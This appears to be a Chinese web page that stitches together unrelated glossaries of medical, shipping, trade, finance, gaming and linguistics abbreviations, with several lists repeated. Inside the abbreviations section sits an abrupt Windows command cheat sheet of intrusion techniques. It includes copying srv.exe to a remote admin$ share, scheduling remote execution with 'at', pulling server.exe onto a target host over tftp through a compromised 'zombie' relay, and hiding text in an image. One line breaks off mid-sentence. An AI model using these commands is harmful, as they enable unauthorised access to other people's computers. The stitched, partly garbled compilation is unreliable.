为您找到与医用术语缩写大全相关的共200个结果:
下面是读文网小编整理的一些医用英语术语及缩写,希望对大家有帮助。
Palv alveolar pressure 肺泡压
Ppa pulmonary artery pressure 肺动脉压,灌注压
Palv-Pc alveolar pressure-capillary pressure 血管腔内与腔外压力差
PV pressure of vein 静脉端压力
PLA left atrial pressure 左房压
FiO2 fraction of inspire O2 吸入气中氧浓度分数
R respiratory exchange ratio 呼吸交换指数
CVO2 oxygen content of mixed blood 混合静脉血氧含量
QS pulmonary shunt 肺内分流
Q volume of blood 血容量
rate of blood flow 血流速率
V gas volume in general(pressure,temperature,and water vapor tension
must also be given) 总气量
gas volume per unit time;rate of gas flow 单位气流量,通气速率
FAO2 fraction of alveolar oxygen 肺泡分氧浓度分数
T tidal gas 潮气
v mixed venous blood 混合静脉血
VT tidal volume 潮气容积
TLC total lung capacity 肺总量
VC vital capacity 肺活量
IC inspiratory capacity 深吸气量
ERC expiratory reserve capacity 补呼吸量
RV residual volume 残气容积
FRC functional residual capacity 功能残气量
CL compliance of lung 肺顺应性
CSt static compliance 静态顺应性
Cdgn dyanamic compliance 动态顺应性
Raw air way resistance 气道阻力
MVV maximal voluntary ventilation 最大自主通气
MBC maximal breathing capacity 最大通气量
FEV1 forced expiratory volume in the first second 第1秒用力呼气量
FVC forced vital capacity 用力肺活量
MMFR forced expiratory flow during middle half of the FVC 最大呼气中期流速
PEFR peak expiratory flow rate 呼气峰流量
D dead space ventilation 死腔通气量
E minute ventilation 分钟通气量
PVR pulmonary vascular resistance 肺血管阻力
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读文网小编为大家整理了股票术语大全中英对照,一起来学习吧!
Market Price
市场价格
Market value
市场价值
Matched Orders
对敲指令
Merger
合并
Negotiability
流通性
New Issue
新发行
Offer
要价
Offering (Asked) Price
卖方要价
Offering Date
发行日
Inactive Market
不活跃市场
Index
指数
Insider
内幕人
Institution
机构投资者
In the Tank
跳水
Issued-and-Outstanding Stocks
己发行流通股
Issuer
发行人
Joint Account
联合账户
Last Trading Day
最后交易日
Liquidation
清仓
Liquidity
流动性
Listed Stock
上市股票
Long Market value
所持证券市场价值
Long Position
多头头寸
Manipulation
操纵
Marketability
流动性
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小编为大家整理了有关呼吸的医用术语,希望对你有帮助哦!
T tidal gas 潮气
v mixed venous blood 混合静脉血
VT tidal volume 潮气容积
Q volume of blood 血容量
rate of blood flow 血流速率
TLC total lung capacity 肺总量
VC vital capacity 肺活量
IC inspiratory capacity 深吸气量
ERC expiratory reserve capacity 补呼吸量
RV residual volume 残气容积
FRC functional residual capacity 功能残气量
CL compliance of lung 肺顺应性
CSt static compliance 静态顺应性
Cdgn dyanamic compliance 动态顺应性
Raw air way resistance 气道阻力
MVV maximal voluntary ventilation 最大自主通气
MBC maximal breathing capacity 最大通气量
FEV1 forced expiratory volume in the first second 第1秒用力呼气量
FVC forced vital capacity 用力肺活量
MMFR forced expiratory flow during middle half of the FVC 最大呼气中期流速
PEFR peak expiratory flow rate 呼气峰流量
D dead space ventilation 死腔通气量
E minute ventilation 分钟通气量
PVR pulmonary vascular resistance 肺血管阻力
Palv alveolar pressure 肺泡压
Ppa pulmonary artery pressure 肺动脉压,灌注压
Palv-Pc alveolar pressure-capillary pressure 血管腔内与腔外压力差
PV pressure of vein 静脉端压力
PLA left atrial pressure 左房压
FiO2 fraction of inspire O2 吸入气中氧浓度分数
R respiratory exchange ratio 呼吸交换指数
CVO2 oxygen content of mixed blood 混合静脉血氧含量
QS pulmonary shunt 肺内分流
V gas volume in general(pressure,temperature,and water vapor tension
must also be given) 总气量
gas volume per unit time;rate of gas flow 单位气流量,通气速率
FAO2 fraction of alveolar oxygen 肺泡分氧浓度分数
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进入21世纪,尤其是中国加入世界贸易组织以来,世界经济格局发生了重大变化,国际间各种经贸活动呈现日渐增多的趋势,因此,对经贸人才的需求也呈现上升的态势。接下来小编为大家整理了船务术语英语缩写,希望对你有帮助哦!
(1)ORC (Origen Recevie Charges) 本地收货费用
(2)THC (Terminal Handling Charges) 码头操作费
(3)BAF (Bunker Adjustment Factor) 燃油附加费
(4)CAF (Currency Adjustment Factor) 货币贬值附加费
(5)YAS (Yard Surcharges)码头附加费
(6)EPS (Equipment Position Surcharges) 设备位置附加费
(7)DDC (Destination Delivery Charges) 目的港交货费
(8)PSS (Peak Season Sucharges) 旺季附加费
(9)PCS (Port Congestion Surcharge) 港口拥挤附加费
(10)DOC (DOcument charges) 文件费
(11)O/F (Ocean Freight) 海运费
(12)B/L (Bill of Lading) 海运提单
(13)MB/L(Master Bill of Lading) 船东单
(14)MTD (Multimodal Transport Document) 多式联运单据
(15)L/C (Letter of Credit) 信用证
(16)C/O (Certificate of Origin) 产地证
(17)S/C (Sales Confirmation)销售确认书(Sales Contract) 销售合同
(18)S/O (Shipping Order)装货指示书
(19)W/T (Weight Ton)重量吨(即货物收费以重量计费)
(20)M/T (Measurement Ton)尺码吨(即货物收费以尺码计费)
(21)W/M(Weight or Measurement ton)即以重量吨或者尺码吨中从高收费
(22)CY (Container Yard) 集装箱(货柜)堆场
(23)FCL (Full Container Load) 整箱货
(24)LCL (Less than Container Load) 拼箱货(散货)
(25)CFS (Container Freight Station) 集装箱货运站
(26)TEU (Twenty-feet Equivalent Units) 20英尺换算单位(用来计算货柜量的多少)
(27)A/W (All Water)全水路(主要指由美国西岸中转至东岸或内陆点的货物的运输方式)
(28)MLB(Mini Land Bridge) 迷你大陆桥(主要指由美国西岸中转至东岸或内陆点的货物的运输方式)
(29)NVOCC(Non-Vessel Operating Common Carrier) 无船承运人
(30)DEQ (Delivered Ex Quay) 目的港码头交货
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小编为大家整理了电脑游戏术语大全,希望对你有帮助哦!
Network Games:网络游戏。指容许多人通过某种网络协议连线后便能进行集体游戏的游戏种类。
NPC(Non Player Character):非玩者人物。在角色扮演游戏中,玩者会在游戏过程中遭逢到的所有不受控制的人物。这些人物或会提示重要情报线索,或是无关紧要的人物。
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护理诊断用专业术语简单明了地表达诊断的意义及与其他诊断的不同处,今天读文网小编为大家整理了护理诊断术语大全,欢迎大家阅读!
自我形象紊乱(Body Image Disturbance)
自尊紊乱(Self-esteem disturbance)
长期自我贬低(Chronic Low Self Esteem)
情境性自我贬低(Situational Low Self Esteem)
自我认同紊乱(Personal Identity disturbance)
感知改变(特定的)(视、听、运动、味、触、嗅)(Sensory/Perceptual Alterations)(specify)(Visual,Auditory,Kinesthetic,Gustatory,tactile,Olfactory)
单侧感觉丧失(Unilateral Neglect)
绝望(Hopelessness)
无能为力(Powerlessness)
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每个行业又有着自己的独特语言,也称之为专业术语。今天读文网小编在这里为大家分享金融英语术语大全,希望这些金融专业术语能帮助到大家!
远期汇率 forward exchange rate
即期汇率 spot rate
实际利率 real interest rates
货币政策工具 tools of monetary policy
银行倒闭 bank failures
跨国公司 MNC ( Multi-National Corporation)
商业银行 commercial bank
商业票据 comercial paper
利润 profit
本票,期票 promissory notes
监督 to monitor
佣金(经济人) commission brokers
套期保值 hedge
有价证券平衡理论 portfolio balance theory
外汇储备 foreign exchange reserves
固定汇率 fixed exchange rate
浮动汇率 floating/flexible exchange rate
货币选择权(期货) currency option
套利 arbitrage
合约价 exercise price
远期升水 forward premium
多头买升 buying long
空头卖跌 selling short
按市价订购股票 market order
股票经纪人 stockbroker
国际货币基金 the IMF
七国集团 the G-7
监督 surveillance
同业拆借市场 interbank market
可兑换性 convertibility
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在英语的学习中,词汇量的积累无疑是很重要的,语言学方面的英语单词你知道多少呢,下面是读文网小编整理的一些语言学术语,希望对大家有帮助。
a lexeme词位
a lexical item词条
a minimum free form最小自由形式
a unit of vocabulary词汇单位
abbreviation缩写法
acronym首字母缩写法
addition添加
adjective endocentric compound形容词性向心复合词
affix词缀
analogical creation类比构词法
assimilation同化
associative relations联想关系
back-formation逆序造次/逆构词法
blending混成法
borrowing借词法
bound morpheme黏着词素
bound root morpheme黏着词根词素
broadening词义扩大
calque仿造词语
cardinal number基数
central determiners中置限定词
class shift词性变换
clipping截断法
closed-class words封闭类词
coinage/invention新创词语
compound复合词
contact assimilation接触性同化
contiguous assimilation临近性同化
contracted form缩写形式
conversion变换/变码
derivational affix派生词缀
derivational morphemes派生语素
derivation派生词
determiners限定词
distant assimilation远距离同化
domain范围/领域
endocentric compound向心复合词
exocentric compound离心复合词
finite element有定成分
finiteness定式
folk etymology俗词源
free morpheme自由词素
frequency count词频统计
grammatical words(function words)语法词/功能词
hierarchy层次性
infix中缀
inflectional affix屈折词缀
inflectional morphemes屈折语素
invariable words不变词
lexical words(content words)词汇词/实义词
lexicogrammar词汇语法
lexis/vocabulary词汇表
liaison连音
loan translation翻译借词
loanblend混合借词
loanshift转移借词
loanword借词
logogram语标
loss脱落
meaning shift意义转移
meaning shift词义转移
metanalysis再分化
metathesis换位
monosyllabic单音节
morpheme词素
morpheme语素
morpheme语素
morphemic structure语素结构
morphological change形态变化
morphological conditioned形态的限制
morphology形态学
morphonology形态语音学
morphophomemics形态音位学
morpho-syntactic change形态-句法变化
multisemous多种意义
narrowing词义缩小
nominal endocentric compound名词性向心复合词
non- contiguous assimilation非临近性同化
nonomorphemic words单语素词
non-productivity/unproductive非多产性
obviative(that)远指代词
opened-class words开放类词
ordinal number序数词
orthographic change拼写的变化
paradigmatic relations聚合关系
paradigm聚合体
particles小品词
passive vocabulary消极词汇
phoneme音位
phonological conditioned音位的限制
phonological structure音素结构
polymorphemic words多语素词
polysyllabic多音节
post determiners后置限定词
predeterminers前置限定词
prefix前缀
pro-adjective(so)代形容词
pro-adverb(so)代动词
pro-form代词形式
pro-locative(there)代处所词/代方位词
pro-verb(do/did)代副词
proximate(this)近指代词
register语域
relative uninterruptibility相对连续性
root morpheme词根语素
root词根
semantic change语义变化
semiotics符号学
sequential relations序列关系
split infinitives分裂不定式(She was told to regularly classes)
stem词干
suffix后缀
syntactical change句法变化
syntagmatic relations组合关系
synthetic compound综合性复合词
the maximum free form最大自由形式
theory of least effort省力理论
variable words可变词
verbal compound动词性复合词
word class词类
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小编为大家整理了外贸船务术语英语缩写,希望对你有帮助哦!
(1)ORC (Origen Recevie Charges) 本地收货费用
(2)THC (Terminal Handling Charges) 码头操作费
(3)BAF (Bunker Adjustment Factor) 燃油附加费
(4)CAF (Currency Adjustment Factor) 货币贬值附加费
(5)YAS (Yard Surcharges)码头附加费
(6)EPS (Equipment Position Surcharges) 设备位置附加费
(7)DDC (Destination Delivery Charges) 目的港交货费
(8)PSS (Peak Season Sucharges) 旺季附加费
(9)PCS (Port Congestion Surcharge) 港口拥挤附加费
(10)DOC (DOcument charges) 文件费
(11)O/F (Ocean Freight) 海运费
(12)B/L (Bill of Lading) 海运提单
(13)MB/L(Master Bill of Lading) 船东单
(14)MTD (Multimodal Transport Document) 多式联运单据
(15)L/C (Letter of Credit) 信用证
(16)C/O (Certificate of Origin) 产地证
(17)S/C (Sales Confirmation)销售确认书(Sales Contract) 销售合同
(18)S/O (Shipping Order)装货指示书
(19)W/T (Weight Ton)重量吨(即货物收费以重量计费)
(20)M/T (Measurement Ton)尺码吨(即货物收费以尺码计费)
(21)W/M(Weight or Measurement ton)即以重量吨或者尺码吨中从高收费
(22)CY (Container Yard) 集装箱(货柜)堆场
(23)FCL (Full Container Load) 整箱货
(24)LCL (Less than Container Load) 拼箱货(散货)
(25)CFS (Container Freight Station) 集装箱货运站
(26)TEU (Twenty-feet Equivalent Units) 20英尺换算单位(用来计算货柜量的多少)
(27)A/W (All Water)全水路(主要指由美国西岸中转至东岸或内陆点的货物的运输方式)
(28)MLB(Mini Land Bridge) 迷你大陆桥(主要指由美国西岸中转至东岸或内陆点的货物的运输方式)
(29)NVOCC(Non-Vessel Operating Common Carrier) 无船承运人
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小编为大家整理了英语船务术语缩写,希望对你有帮助哦!
(1)ORC (Origen Recevie Charges) 本地收货费用(广东省收取)
(2)THC (Terminal Handling Charges) 码头操作费(香港收取)
(3)BAF (Bunker Adjustment Factor) 燃油附加费
(4)CAF (Currency Adjustment Factor) 货币贬值附加费
(5)YAS (Yard Surcharges)码头附加费
(6)EPS (Equipment Position Surcharges) 设备位置附加费
(7)DDC (Destination Delivery Charges) 目的港交货费
(8)PSS (Peak Season Sucharges) 旺季附加费
(9)PCS (Port Congestion Surcharge) 港口拥挤附加费
(10)DOC (DOcument charges) 文件费
(11)O/F (Ocean Freight) 海运费
(12)B/L (Bill of Lading) 海运提单
(13)MB/L(Master Bill of Lading) 船东单
(14)MTD (Multimodal Transport Document) 多式联运单据
(15)L/C (Letter of Credit) 信用证
(16)C/O (Certificate of Origin) 产地证
(17)S/C (Sales Confirmation)销售确认书(Sales Contract) 销售合同
(18)S/O (Shipping Order)装货指示书
(19)W/T (Weight Ton)重量吨(即货物收费以重量计费)
(20)M/T (Measurement Ton)尺码吨(即货物收费以尺码计费)
(21)W/M(Weight or Measurement ton)即以重量吨或者尺码吨中从高收费
(22)CY (Container Yard) 集装箱(货柜)堆场
(23)FCL (Full Container Load) 整箱货
(24)LCL (Less than Container Load) 拼箱货(散货)
(25)CFS (Container Freight Station) 集装箱货运站
(26)TEU (Twenty-feet Equivalent Units) 20英尺换算单位(用来计算货柜量的多少)
(27)A/W (All Water)全水路(主要指由美国西岸中转至东岸或内陆点的货物的运输方式)
(28)MLB(Mini Land Bridge) 迷你大陆桥(主要指由美国西岸中转至东岸或内陆点的货物的运输方式)
(29)NVOCC(Non-Vessel Operating Common Carrier) 无船承运人
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在英语的学习中,我们可以发现,很多英语单词都有它的缩写形式,下面是读文网小编为大家整理的一些关于英语单词的缩写,希望能帮到大家。
Co.,Ltd.: Company Limited 的缩写
部门:Department/Division 简写为Dept.
人事部:HR Department(human resource)
行政部:Administration Department(比较常用)。也可以用Executive Department(有些公司也用这个)或者用Executive Branch(多用在银行)
市场部:Marketing Department
客服部:CUS Department
销售部:SALES Department
质量技术部:quality and Technology Division
研发部:R & D Department (research and develop)
海外部:Overseas Division
拓展部:Department of Expand
人事行政部: P/A Personal &Administration
会计部:A/C Accountant Dept
资料中心:DC Document Center
质量管理部: Division of Quality Management.
质量总监 Quality Administration
制造总部办公室 Office of Manufacturing Headquarter
设计部:Design DPT.
WTO----world trade organization 世贸
CEO----chief executive officer 总裁
R&D----research and development 研究开发
CAD----computer assisted design 计算机辅助设计
CTV----cable television 有线电视
PCS----program control switches 程控电话交换机
IDD----international direct dialing 国际长途直拨
Int-tele----internet telephone 因特网电话
Mob tele----mobile telephone 移动电话
B-ISTN---- 宽带综合业务数字网
E-b----E-business 电子商务
SOE----state-owned enterprise 国有企业
FIE----foreign-invested enterprise 外资企业
FDI----foreign direct investment 外国直接投资
JV ----joint venture 合资经营
SEZ----special economic zone 经济特区
TQC----total quality control 全面质量管理
CI ----corporate image 企业形象
h.o.---head office 总部
IT-----information industry 信息产业
memo---memora0000 备忘录
5yr-P-----Five-Year Plan 五年计划
telcom-----telecommunication 通讯
CEO Chief Executive Officer
UN 联合国
UNESCO 联合国科教文组织
WHO 世界卫生组织
OPEC 欧佩克(石油出口国家组织)
GATT 关贸总协定
OECD 经济合作与发展组织
TMF 国家货币基金组织
EEC 欧洲经济共同体
NATO 北大西洋公约组织
VOA 美国之音
NY 纽约
CBS 哥伦比亚广播公司
PBS 美国公共广播电视公司
ABC 澳大利亚广播公司
BBC 英国广播公司
IBM 国际商用电器公司
ITT 国际电报电话公司
CIA 中央情报局
FBI 联邦调查局
MIT 麻省理工大学
VCLA 加利福尼亚州立大学
KKK 三K党
ERA 平等权利修正案
UPI (美)合众国际社
VIP 重要任务
POW 战俘
GI 美国士兵
MP 国会议员(英)
JAL 日本航空公司
PRC 中华人民共和国
CACC 中国民航局
AD 公元
BC 公元前
WWII 第二次世界大战
GMT 格林威治标准时间
GNP 国民生产总值
UFO CTN/CTNS carton/cartons 纸 箱
C/D customs declaration 报关单
C&F cost&freight 成本加运费价
C.O certificate of origin 一般原产地证
D/A document against acceptance 承兑交单
D/P document against payment 付款交单
DL/DLS dollar/dollars 美元
DOZ/DZ dozen 一打儿
EA each 每个,各
FAC facsimile 传真
G.S.P. generalized system of preferences 普惠制
G.W. gross weight 毛重
IMP import 进口
N.W. net weight 净重
PCE/PCS piece/pieces 只、个、支等
PKG package 一包、一捆、一扎、一件等
T/T telegraphic transfer 电汇
W with 具有
w/o without 没有
WT weight 重量
WWW----万维网(World Wide Wdb);
Http---超文本传输协议(Hypertext transfer protocol);
FTP----文件传输协议(File Transfer Protocol);
TCP----传输控制协议(Transmission Control Protocol);
IP-----网际协议(Internet Protocol);
ISP----网络服务提供商(Internet Service Provider);
DNS----域名服务器(Domain Name Server);
IE-----网络浏览器(Internet Explorer);
OE-----邮件收发软件(Outlook Express);
BBS----电子布告栏系统;
OICQ---网上聊天工具;
LAN----局域网(Local Area Network);
MAN----城域网(Metropolitan Area Network);
WAN----广域网(Wide Area Network)
ABS─防抱死制动系统
ABS英文全称是“Anti-Lock Brake System”。
EBD/EBV─制动力分配装置
EBD为英文缩写,其全称是“Electric Brake force Distribution”。其德文缩写为EBV,全称是“Electronic
ESP─电子稳定程序
ESP英文全称是“Electronic Stability Program
BAS─制动辅助系统
BAS英文全称是“Brake Assist System”。
ASR─驱动防滑系统
ASR为英文缩写,其全称是“Acceleration Slip Regulation”。
TCS─驱动力控制系统
TCS英文全称是“Traction Control System”。在日本等地也称为TRC或TRAC。
EBA─电子刹车辅助系统
EBA英文全称是“Electronic Brake Assist
ipconfig (winipcfg) 用于windows nt及xp(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的support/tools文件夹内)
kill -f 进程名 加-f参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的support/tools文件夹内)
del -f 文件名 加-f参数后就可删除只读文件,/ar、/ah、/as、/aa分别表示删除只读、隐藏、系统、存档文件,/a-r、/a-h、/a-s、/a-a表示删除除只读、隐藏、系统、存档以外的文件。例如“del/ar *.*”表示删除当前目录下所有只读文件,“del/a-s *.*”表示删除当前目录下除系统文件以外的所有文件
del /s /q 目录 或用:rmdir /s /q 目录 /s删除目录及目录下的所有子目录和文件。同时使用参数/q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符路径要移动的文件名存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at [url=file://ip/]\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到ip(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径文件名1路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:srv.exe [url=file://ip/admin$]\ipadmin$[/url] 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ascll格式文件
copy [url=file://ip/admin$/svv.exe]\ipadmin$svv.exe[/url] c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地c:
xcopy 要复制的文件或目录树目标地址目录名 复制文件和目录树,用参数/y将不提示覆盖相同文件
tftp -i 自己ip(用肉机作跳板时这用肉机ip) get server.exe c:server.exe 登陆后,将“ip”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ascii模式(传送文本文件模式)进行传送
tftp -i 对方ipput c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ascii格式传送(文本文件时)
route print 显示出ip路由,将主要显示网络地址network addres,子网掩码netmask,网关地址gateway addres,接口地址interface
arp 查看和处理arp缓存,arp是名字解析的意思,负责把一个ip解析成一个物理性的mac地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -a -r -s -h 或 +a +r +s +h 去掉(添加)某文件的 存档,只读,系统,隐藏属性;用+则是添加为某属性
dir 查看文件,参数:/q显示文件及目录属系统哪个用户,/t:c显示文件创建时间,/t:a显示文件上次被访问时间,/t:w上次被修改时间
date /t 、 time /t 使用此参数即“date/t”、“time/t”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "hello" aa.txt 在
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作为一名贸易人员,掌握一些常见的贸易缩写词汇十分重要。下面读文网小编为大家带来商务英语贸易缩写词汇大全,欢迎大家学习!
B/L 海运提单 Bill of Lading
B/R 买价 Buying Rate
BAF 燃油附加费 Bunker AdjustmentFactor
BAF 燃油附加费,大多数航线都有,但标准不一。
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对外贸易亦称“国外贸易” 或“进出口贸易”,简称“外贸”,是指一个国家(地区)与另一个国家(地区)之间的商品、劳务和技术的交换活动。这种贸易由进口和出口两个部分组成。接下来小编为大家整理了常用外贸术语词汇大全。希望对你有帮助哦!
BAF 燃油附加费 Bunker AdjustmentFactor
BAF 燃油附加费,大多数航线都有,但标准不一。
B/L 海运提单 Bill of Lading
B/R 买价 Buying Rate
C组(主要运费已付)
CFR 成本加运费(……指定目的港)
CFR(cost and freight)成本加运费价
C&F(成本加运费):COST AND FREIGHT
C&F 成本加海运费 COST AND FREIGHT
CIF 成本、保险费加运费付至(……指定目的港)
CIF 成本,保险加海运费 COST,INSURANCE,FRIGHT
CIF(成本运费加保险,俗称“到岸价”):COST INSURANCE AND FREIGHT
FOB (离岸价):FREE ON BOARD
CPT 运费付至(……指定目的港)
CPT 运费付至目的地 Carriage Paid To
CIP 运费、保险费付至(……指定目的地)
CIP 运费、保险费付至目的地 Carriage and Insurance Paid To
CY/CY 整柜交货(起点/终点)
C.Y. 货柜场 Container Yard
CY(码头):CONTAINER YARD
CFS(场):CARGO FREIGHT STATION
C/D (customs declaration)报关单
C.C.(运费到付):COLLECT
C.C 运费到付 Collect
CNTR NO. (柜号):CONTAINER NUMBER
C.O (certificate of origin)一般原产地证
CTN/CTNS(carton/cartons)纸箱
C.S.C 货柜服务费 Container Service Charge
C/(CNEE) 收货人 Consignee
C/O 产地证 Certificate of Origin
CAF 货币汇率附加费 Currency Adjustment Factor
CFS 散货仓库 Container Freight Station
CFS/CFS 散装交货(起点/终点)
CHB 报关行 Customs House Broker
COMM 商品 Commodity
CTNR 柜子 Container
D组(到达)
DDU 未完税交货 Delivered Duty Unpaid
DDP 完税后交货(……指定目的地)
DDP 完税后交货 Delivered Duty Paid
DDC、IAC 直航附加费,美加航线使用
DDC 目的港码头费 Destination Delivery Charge
DL/DLS(dollar/dollars)美元
D/P(document against payment)付款交单
D/P 付款交单 Document Against Payment
DAF 边境交货(……指定地点)
DAF 边境交货 Delivered At Frontier
DES 目的港船上交货(……指定目的港)
DES 目的港船上交货 Delivered Ex Ship
DEQ 目的港码头交货(……指定目的港)
DEQ 目的港码头交货 Delivered Ex Quay
DDU 未完税交货(……指定目的地)
DOC (document)文件、单据
DOC(文件费):DOCUMENT CHARGE
Doc# 文件号码 Document Number
D/A (document against acceptance)承兑交单
D/A 承兑交单 Document Against Acceptance
DOZ/DZ(dozen)一打
D/O 到港通知 Delivery Order
E组(发货)
EXW 工厂交货(……指定地点)
Ex 工厂交货 Work/ExFactory
ETA(到港日):ESTIMATED TIME OF ARRIVAL
ETD(开船日):ESTIMATED TIME OF DELIVERY
ETC(截关日):ESTIMATED TIME OF CLOSING
EBS、EBA 部分航线燃油附加费的表示方式,EBS一般是澳洲航线使用, EBA一般 是非洲航线、中南美航线使用
EXP(export)出口
EA(each)每个,各
EPS 设备位置附加费 Equipment Position Surcharges
F组(主要运费未付)
FCA 货交承运人(……指定地点)
FCA 货交承运人 Free Carrier
FAS 船边交货(……指定装运港)
FOB 船上交货(……指定装运港)
FOB 船上交货 Free On Board
FOB (离岸价):FREE ON BOARD
CIF(成本运费加保险,俗称“到岸价”):COST INSURANCE AND FREIGHT
FCL(整箱货):FULL CONTAINER CARGO LOAD
FCL 整柜 Full Container Load
LCL(拼箱货):LESS THAN ONECONTAINER CARGO LOAD
FAF 燃油价调整附加费(日本航线专用)
FAF 燃料附加费 Fuel AdjustmentFactor
FAC(facsimile)传真
Form A ---产地证(贸易公司)
F/F 货运代理 Freight Forwarder
FAK 各种货品 Freight All Kind
FAS 装运港船边交货 Free Alongside Ship
Feeder Vessel/Lighter 驳船航次
FEU 40‘柜型 Forty-Foot Equivalent Unit 40’
FMC 联邦海事委员会 Federal Maritime Commission
FIO是FREE IN AND OUT的意思,指船公司不付装船和卸船费用
FIOST条款,指船公司不负责装,卸,平舱,理舱
FI是FREE IN的意思,指船公司不付装
FO是FREE OUT的意思,同理指船公司不付卸
G组
GRI 综合费率上涨附加费,一般是南美航线、美国航线使用
GRI 全面涨价 General RateIncrease
G.W.(gross weight)毛重
G.W.(gross weight)毛重
N.W.(net weight)净重
G.S.P.(generalized system of preferences)普惠制
H组
HB/L(货代提单):HOUSE BILL OF LADING
HBL 子提单 House B/L
H/C 代理费 Handling Charge
I 组
IFA 临时燃油附加费,某些航线临时使用
INT(international)国际的
INV (invoice)发票
IMP(import)进口
I/S 内销售 Inside Sales
IA 各别调价 Independent Action
J 组
JP---代表“日元”
L组
FCL(整箱货):FULL CONTAINER CARGO LOAD
LCL(拼箱货):LESS THAN ONECONTAINER CARGO LOAD
LCL 拼柜 Less Than Container Load
L/C (letter of credit)信用证
L/C 信用证 Letter of Credit
Land Bridge 陆桥
M 组
MB/L 主提单 Master Bill Of Loading
MIN (minimum)最小的,最低限度
M/V(merchant vessel)商船
MT或M/T(metric ton)公吨
M/T 尺码吨(即货物收费以尺码计费) Measurement Ton
MAX (maximum)最大的、最大限度的
M 或MED (medium)中等,中级的
MLB 小陆桥,自一港到另一港口 Minni Land Bridge
Mother Vessel 主线船
MTD 多式联运单据 Multimodal Transport Document
N组
NOVCC(无船承运人):NON VESSEL OPRERATING COMMON CARRIER
NVOCC 无船承运人 Non Vessel OperatingCommon Carrier
N.W.(net weight)净重
N/F 通知人 Notify
O组
O/F 海运费 Ocean Freight
O/F(海运费):OCEAN FREIGHT
ORC(广东地区原产地收货费):ORIGINAL RECEIVING CHARGE
OB/L(海运提单):OCEAN BILL OF LADING
OBL 海运提单 Ocean (or original )B/L
ORC 本地出口附加费,和SPS类似,一般在华南地区使用
ORC 本地收货费用(广东省收取) Origen Recevie Charges
OCP 货主自行安排运到内陆点 Overland Continental Point
OP 操作 Operation
P组
POD 目地港 Port Of Destination
POL 装运港 Port Of Loading
PSS 旺季附加费 Peak Season Sucharges
PSS(旺季附加费):PEAK CEASON SURCHARGE
PSS 旺季附加费,大多数航线在运输旺季时可能临时使用
REF (reference)参考、查价
RMB(renminbi)人民币
PR或PRC(price) 价格
P/P(运费预付):FREIGHT PREPAID
P.P 预付 Prepaid
PCS 港口拥挤附加费,一般是以色列、印度某些港口及中南美航线使用
PCS 港口拥挤附加费 Port Congestion Surcharge
PTF 巴拿马运河附加费,美国航线、中南美航线使用
PKG(package)一包,一捆,一扎,一件等
PCE/PCS(piece/pieces)只、个、支等
P/L (packing list)装箱单、明细表
PCT (percent)百分比
PUR (purchase)购买、购货
S组
S/O(订舱单):SHIPPING ORDER
S/O 装货指示书 Shipping Order
SEAL NO. (铅封号)
S/C(sales contract)销售确认书
S/C 售货合同 Sales Contract
SC 服务合同 Service Contract
STL.(style)式样、款式、类型
SPS 上海港口附加费(船挂上港九区、十区)
S.S(steamship)船运
S/M (shipping marks)装船标记
S/(Shpr) 发货人 Shipper
S/R 卖价 Selling Rate
S/S Spread Sheet Spread Sheet
SSL 船公司 Steam Ship Line
SDR special drawing rights 特别提款权
T组
T.O.C 码头操作费 Terminal Operations Option
T.R.C 码头收柜费 Terminal Receiving Charge
T/S 转船,转运 Trans-Ship
TVC/ TVR 定期定量合同 Time Volume Contract/ Rate
TEU 20‘柜型 Twenty-Foot Equivalent Unit 20’
THC(码头费):TERMINAL HANDLING CHARGE
THC 码头操作费(香港收取) Terminal Handling Charges
T/T(电汇):TELEGRAM TRANSIT
T/T 航程 Transit Time
T/T(telegraphic transfer)电汇
TTL 总共 Total
T或LTX或TX(telex)电传
V组
VESSEL/VOYAGE(船名/航次)
VOCC 船公司 Vessel Operating Common Carrier
W组
W (with)具有
WT(weight)重量
W/T 重量吨(即货物收费以重量计费) Weight Ton
w/o(without)没有
W/M 即以重量吨或者尺码吨中从高收费 Weight or Measurement ton
Y组
YAS 日元升值附加费(日本航线专用)
YAS 码头附加费 Yard Surcharges
HS-Code 海关编码即HS编码,为编码协调制度的简称The Harmonization Code转
